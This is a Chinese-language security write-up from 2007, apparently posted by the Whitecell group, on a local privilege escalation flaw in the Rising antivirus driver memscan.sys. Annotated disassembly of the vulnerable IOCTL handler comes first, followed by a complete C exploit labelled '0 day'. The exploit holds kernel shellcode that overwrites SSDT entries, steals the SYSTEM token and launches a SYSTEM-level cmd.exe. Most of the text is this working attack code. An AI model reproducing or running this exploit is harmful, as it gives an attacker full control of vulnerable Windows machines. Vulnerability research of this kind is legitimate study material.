Rav 核心驱动 memscan.sys 本地权限提升漏洞

Author: Polymorphours
Email: [email protected]
Homepage:http://www.whitecell.org
Date: 2007-07-17

近期在发现symtdi权限提升的漏洞的基础上,对瑞星的驱动程序也进行
分析,发现也存在问题,由于驱动程序中处理 IRP_MJ_DEVICE_CONTROL
例程没有检查用户传入的缓冲区地址的合法性,造成任意内核地址可写
的漏洞,用户可以发送恶意的DeviceIoControl的来完全的控制计算机。
请看以下汇编片段:

; int __stdcall sub_10ABE(int,PIRP Irp)
.text:00010ABE sub_10ABE proc near ; DATA XREF: start+2Co
.text:00010ABE
.text:00010ABE Irp = dword ptr 0Ch
.text:00010ABE
.text:00010ABE push ebp
.text:00010ABF mov ebp, esp
.text:00010AC1 mov edx, [ebp+Irp]
.text:00010AC4 push ebx
.text:00010AC5 push esi
.text:00010AC6 push edi
.text:00010AC7 mov edi, [edx+60h]

; 这里为了效率,依然使用METHOD_NEITHER这种方式进行数据传输

.text:00010ACA mov eax, 220023h
.text:00010ACF mov ecx, [edi+0Ch]
.text:00010AD2 cmp ecx, eax
.text:00010AD4 ja loc_10C09
.text:00010AD4
.text:00010ADA jz loc_10BFB
.text:00010ADA
.text:00010AE0 mov eax, ecx
.text:00010AE2 sub eax, 220007h
.text:00010AE7 jz loc_10B6D ;这里存在比较严重的问题
.......

loc_10B6D:
; CODE XREF: sub_10ABE+29j
.text:00010B6D mov ax, es
.text:00010B70 mov word_1329C, ax
.text:00010B76 mov ax, ds
.text:00010B79 mov word_1329A, ax
.text:00010B7F mov ecx, [edi+8] ; 长度
.text:00010B82 mov esi, [edi+10h] ; esi = irpSp->Type3InputBuffer
.text:00010B85 mov eax, ecx
.text:00010B87 mov edi, offset unk_13080 ; 这里也没有检查输入的缓冲区的
; 长度,可以对静态数据区进行溢
;出, 不过你往下看你会更兴奋
.text:00010B8C shr ecx, 2
.text:00010B8F rep movsd
.text:00010B91 mov ecx, eax
.text:00010B93 mov eax, P
.text:00010B98 xor ebx, ebx
.text:00010B9A and ecx, 3
.text:00010B9D cmp eax, ebx
.text:00010B9F rep movsb
.text:00010BA1 jz loc_10CA7
.text:00010BA1
.text:00010BA7 push eax ; Buffer
.text:00010BA8 push offset unk_13099 ; FileHandle
.text:00010BAD call sub_10414
.text:00010BAD
.text:00010BB2 test al, al
.text:00010BB4 jnz short loc_10BC7
.text:00010BB4
.text:00010BB6 mov eax, [ebp+Irp]
.text:00010BB9 mov eax, [eax+3Ch] ; eax = irp->UserBuffer
.text:00010BBC mov dword ptr [eax], 1 ; eax所指向的地址被写入了1
.text:00010BC2 jmp loc_10CA7

到此我们已经看清楚了这个漏洞的成因,也看到了利用方法,和之前的symtdi的利用方法基本一样.


#include
#include

#pragma comment (lib, "ntdll.lib")

typedef LONG NTSTATUS;

#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

typedef struct _IMAGE_FIXUP_ENTRY {

WORD offset:12;
WORD type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;

typedef struct _UNICODE_STRING {

USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

extern "C"
NTSTATUS
NTAPI
NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect
);

int main(int argc, char* argv[])
{
NTSTATUS status;
HANDLE deviceHandle;
DWORD dwReturnSize = 0;
PVOID VdmControl = NULL;
PVOID p = NULL;

PVOID ShellCodeMemory = (PVOID)0x1;
DWORD MemorySize = 0x1000;

PROCESS_INFORMATION pi;
STARTUPINFOA stStartup;

OSVERSIONINFOEX OsVersionInfo;

RtlZeroMemory( &OsVersionInfo, sizeof(OsVersionInfo) );
OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
GetVersionEx ((OSVERSIONINFO *) &OsVersionInfo);

if ( OsVersionInfo.dwMajorVersion != 5 ) {

printf( "Not NT5 system\n" );
ExitProcess( 0 );
return 0;
}

if ( OsVersionInfo.dwMinorVersion != 2 ) {

printf( "isn't windows 2003 system\n" );
ExitProcess( 0 );
return 0;
}

printf( "Rav Local Privilege Escalation Vulnerability Exploit (0 day) \n\n" );
printf( "Tested on: \n\twindows 2003 sp1 (ntoskrnl.pa.exe version) \n\n" );
printf( "\tCoded by Polymorphours. [email protected]\n\n" );

status = NtAllocateVirtualMemory( (HANDLE)-1,
&ShellCodeMemory,
0,
&MemorySize,
MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE );
if ( status != STATUS_SUCCESS ) {

printf( "NtAllocateVirtualMemory failed, status: %08X\n", status );
return 0;
}

memset( ShellCodeMemory, 0x90, MemorySize );

__asm {

call CopyShellCode

nop
nop
nop
nop
nop
nop

//
// 恢复SSDT
//

mov edi, 0x80827D54
mov [edi], 0x808C998A
mov [edi+4], 0x809ba123
mov [edi+8], 0x80915CBE

mov eax,0xFFDFF124 // eax = ETHREAD (not 3G Mode)
mov eax,[eax]

mov esi,[eax+0x218]
mov eax,esi

search2k3sp1:

mov eax,[eax+0x98]
sub eax,0x98
mov edx,[eax+0x94]
cmp edx,0x4 // Find System Process
jne search2k3sp1

mov eax,[eax+0xd8] // 获取system进程的token
mov [esi+0xd8],eax // 修改当前进程的token

ret 8

CopyShellCode:

pop esi
lea ecx, CopyShellCode
sub ecx, esi

mov edi,0x5
cld
rep movsb

}

deviceHandle = CreateFile("\\\\.\\MEMSCAN",
0,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL);
if ( INVALID_HANDLE_VALUE == deviceHandle ) {

printf( "Open RavMMSCAN device failed, code: %d\n", GetLastError() );
return 0;
} else {

printf( "Open RavMMSCAN device success\n" );
}

p = LocalAlloc( LPTR, 0x10 );

DeviceIoControl( deviceHandle,
0x220007,
p,
0x10,
(PVOID)0x80827D54,
0xC,
&dwReturnSize,
NULL );

CloseHandle( deviceHandle );

LocalFree( p );

VdmControl = GetProcAddress( LoadLibrary("ntdll.dll"), "ZwVdmControl" );
if ( VdmControl == NULL ) {

printf( "VdmControl == NULL\n" );
return 0;
}

printf( "call shellcode ... " );

_asm {

xor ecx,ecx
push ecx
push ecx
mov eax, VdmControl
call eax
}

printf( "Done.\n" );
printf( "Create New Process\n" );

GetStartupInfo( &stStartup );

CreateProcess( NULL,
"cmd.exe",
NULL,
NULL,
TRUE,
NULL,
NULL,
NULL,
&stStartup,
&pi );

return 0;
}

WSS(Whitecell Security Systems),一个非营利性民间技术组织,致力于各种系统安全技术的研究。坚持传

统的hacker精神,追求技术的精纯。
WSS 主页:http://www.whitecell.org/
WSS 论坛:http://www.whitecell.org/forums/

相关日志

发表评论